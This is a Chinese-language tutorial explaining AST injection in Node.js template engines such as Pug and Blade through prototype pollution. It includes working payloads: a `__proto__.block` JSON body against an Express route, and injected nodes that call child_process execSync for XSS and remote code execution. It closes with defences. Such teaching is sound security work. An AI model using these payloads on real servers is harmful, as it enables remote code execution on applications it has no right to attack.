一文带你理解AST Injection
字数 857 2025-08-05 11:39:48
AST Injection 攻击原理与实战分析
模版引擎基础
模版引擎概述
JS web开发中常用的模版引擎包括:
- ejs
- pug
- handlebars
功能:动态渲染HTML代码,创建可重复使用的页面结构
主流模版引擎使用示例
ejs 模版
// 安装EJS模块:npm install ejs
const ejs = require('ejs');
// 定义模板
const template = `<h1>Hello, <%= name %>!</h1>`;
// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
handlebars 模版
// 安装Handlebars模块:npm install handlebars
const handlebars = require('handlebars');
// 定义模板
const template = `<h1>Hello, {{name}}!</h1>`;
// 编译模板
const compiledTemplate = handlebars.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
pug 模版
// 安装Pug模块:npm install pug
const pug = require('pug');
// 定义模板
const template = `h1 Hello, #{name}!`;
// 编译模板
const compiledTemplate = pug.compile(template);
// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
模版引擎工作原理
基本流程:
- 词法解析
- 语法解析
- 代码生成
关键问题:
- 赋值操作未判断属性是否为对象自身属性
- 属性存在判断未检查原型链
for...in循环会遍历原型链上的可枚举属性
AST Injection 攻击原理
基本概念
AST (Abstract Syntax Tree) 注入攻击通过污染原型链来修改模版引擎生成的抽象语法树,从而影响最终生成的代码。
Pug 模版 AST Injection 示例
const pug = require('pug');
// 原型链污染
Object.prototype.block = {
"type":"Text",
"val":`<script>alert(origin)</script>`
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
Pug AST 结构分析
解析 h1= msg 生成的语法树结构:
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true
}
]
}
}
]
}
语法树执行流程
- 解析
Block节点 - 解析
Tag节点 - 解析内部
Block节点 - 解析
Code节点
关键代码片段:
case 'Code':
case 'While':
if (ast.block) { // 检查block属性
ast.block = walkAST(ast.block, before, after, options);
}
RCE (远程代码执行) 实现
利用 Pug 的代码生成功能实现 RCE:
const pug = require('pug');
Object.prototype.block = {
"type":"Text",
"line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
实战案例分析
Express 应用漏洞示例
漏洞代码:
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || ... ) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you!')({ user:'guest' })
});
}
});
攻击步骤:
- 利用
unflatten的原型链污染漏洞 - 注入恶意 AST 节点
攻击载荷:
{
"song.name": "The Goose went wild",
"__proto__.block": {
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"
}
}
Blade 模版引擎漏洞分析
漏洞发现过程
- 原型链污染测试:
Object.prototype.otherprop = {'test': 'test'};
-
观察 AST 结构变化,发现
undefined属性注入 -
关键漏洞代码:
for(var i in attrs) {
if(attrs[i].text) {
// 处理逻辑
}
}
RCE 实现
攻击载荷:
Object.prototype.someprop = {
'name': 'somename',
'value': 'somevalue',
'code': "process.mainModule.require('child_process').execSync(`whoami`)"
};
防御措施
-
避免使用不安全的对象属性操作:
- 使用
Object.hasOwnProperty()检查属性 - 使用
Object.keys()替代for...in
- 使用
-
冻结原型对象:
Object.freeze(Object.prototype); -
使用安全的模版引擎配置
-
及时更新模版引擎到最新版本
总结
AST Injection 攻击结合原型链污染漏洞,能够严重影响模版引擎的安全性。开发者需要理解模版引擎的工作原理,并采取适当的安全措施来防范此类攻击。